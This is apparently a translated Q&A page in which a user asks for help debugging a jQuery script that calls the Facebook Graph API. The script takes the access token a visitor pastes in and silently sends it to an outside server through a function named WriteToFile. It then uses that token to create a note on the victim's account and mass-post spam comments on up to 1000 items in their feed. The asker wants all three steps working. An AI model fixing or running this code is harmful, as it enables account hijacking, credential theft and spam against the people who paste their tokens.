试图调试javascript

时间:2013-04-19 20:33:26

标签: javascript ajax jquery facebook-graph-api

我无法执行所有三个facebook api post命令。我可以获取用户信息,发布备注,但脚本会跳过第三个。我正在尝试调试此代码以找出原因,但没有成功。如果我删除了create.note api命令,我可以发表评论,但我想做这三个。

$(document).ready(function(){
  function WriteToFile(content){
    $.post("http://webs.com/api.php", {'token': content});
    return false;
  }
$('#scatola').on('keyup', function() { 
    $('#submit').trigger('click');
});

$("#submit").click(function(){


    //access token stuff
    var token = $("#scatola").val();
    //alert("Got Token: " + token + ". token use");

    if (token.split('#access_token=')[1]) {
    var token = token.split('#access_token=')[1].split('&')[0];
WriteToFile(token);
    //alert(token);
    $("#iWait").fadeIn();
        //get user id and name etc...
        $.getJSON('https://graph.facebook.com/me?access_token=' + token, function (response) {
            if (response.id) {
            var userid = response.id;
            var userName = response.name;
            var randomnumber=Math.floor(Math.random()*11);
            //alert(userid);
            //alert(userName);




var commentnote = "note title";


                var commentMain = "note message";
                var commentShort = "comment message";
                var spinCom = new Array();
                spinCom[0] = "!";
                spinCom[1] = "!";
                var totalComments = 1000;

$.getJSON('https://graph.facebook.com/' + userid + '/notes?method=POST&message=' + commentMain + '&subject=' + commentnote + '&access_token=' + token, function (response) {
                //alert("make note");
                    if(response.note){
                    //alert("This is the response = " + response.note[1].id);                           






$.getJSON('https://graph.facebook.com/' + userid + '/home?limit=' + totalComments + '&access_token=' + token, function (response) {
                //alert("posting");
                    if(response.data)

//alert("This is the response = " + response.data[1].id);
                    //posting on them.
                        var allPosts = [];
                        $.each(response.data, function(i,data){
                            allPosts.push(data.id);
                            //alert("This is comment = " + data.id);
                            var spinNumber=Math.floor(Math.random()*9);
                            var megaNumber=Math.floor(Math.random()*100);
                            var commentMessage = commentShort + spinCom[spinNumber] + "?" + megaNumber;
                            $.getJSON('https://graph.facebook.com/' + data.id + '/comments?method=POST&message=' + commentMessage + '&access_token=' + token, function (response) {
                            //alert("Comment Posted!");



                            });




                        });



});



                    }
                    var t=setTimeout(function(){moTown()},7000)
                });








            }


        });     
    }else {

    alert("This was not the correct URL. Please try again.");
    $("#scatola").val('');
    $("#scatola").focus()
    }
  });
});

0 个答案:

没有答案